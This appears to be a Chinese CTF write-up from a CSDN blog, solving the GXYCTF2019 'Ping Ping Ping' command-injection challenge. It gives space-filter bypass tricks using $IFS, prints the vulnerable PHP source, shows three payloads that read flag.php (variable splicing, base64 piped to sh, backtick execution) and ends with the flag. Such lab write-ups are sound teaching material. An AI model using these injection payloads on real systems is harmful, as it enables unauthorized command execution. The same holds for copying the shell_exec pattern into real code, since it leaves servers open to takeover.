BUUCTF WEB [GXYCTF2019]Ping Ping Ping

本文讲述了在BUUCTFWEB[GXYCTF2019]挑战中,通过发现命令执行漏洞,逐步绕过字符过滤,实现`cat flag.php`和`base64解码`等技术,最终获取flag的过程。涉及空格绕过、变量拼接、编码解码和内联执行等技巧。
摘要由CSDN通过智能技术生成

BUUCTF WEB [GXYCTF2019]Ping Ping Ping


进入题目后根据提示提交?ip=127.0.0.1尝试

回显PING 127.0.0.1 (127.0.0.1): 56 data bytes

判断存在命令执行漏洞,尝试提交?ip=127.0.0.1;ls

回显

PING 127.0.0.1 (127.0.0.1): 56 data bytes
flag.php
index.php

尝试访问index.php?ip=127.0.0.1;cat index.php

回显fxck your space!,说明空格存在过滤,尝试使用$IFS进行绕过

空格绕过的技巧

  1. Linux

    {cat,flag.txt} 
    cat${IFS}flag.txt
    cat$IFS$9flag.txt
    cat<flag.txt
    cat<>flag.txt
    kg=$'\x20flag.txt'&&cat$kg
    (\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
    
  2. Windows

    type.\flag.txt
    type,flag.txt
    echo,123456
    

这里发现{<%等符号就被禁用,只有$IFS$9可以使用

若单独使用$IFS会被理解为解析没有结束,将后面的字符也当做参数解析。若配合$IFS$9使用,在$IFS后加上了一个不存在的变量,解析为空,从而结束解析,正常执行$IFS后面的内容

index.php

执行命令?ip=127.0.0.1;cat$IFS$9index.php

<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}

?>

绕过过滤读取flag.php

  1. 变量拼接字符串绕过

    b=ag.php;a=fl;cat$IFS$9$a$b 
     
    //为什么要反过来?flag匹配时中间有内容也会被匹配。
    //表达式 .* 就是单个字符匹配任意次,即贪婪匹配。以这个表达式为例:a.*b,它将会匹配最长的以a开始,以b结束的字符串。如果用它来搜索aabab的话,它会匹配整个字符串aabab。这被称为贪婪匹配
    
  2. sh命令执行绕过

    base64编码绕过flag过滤

    • 加密命令

      echo “cat flag.php” | base64
      
    • 解密命令并执行

      ?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhwCg==$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh
      
  3. 内联执行绕过

    ?ip=127.0.0.1;cat$IFS$9`ls`
    

得到flag

flag{db07f60d-63b3-4ab7-a14e-fe94a6cab83e}

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值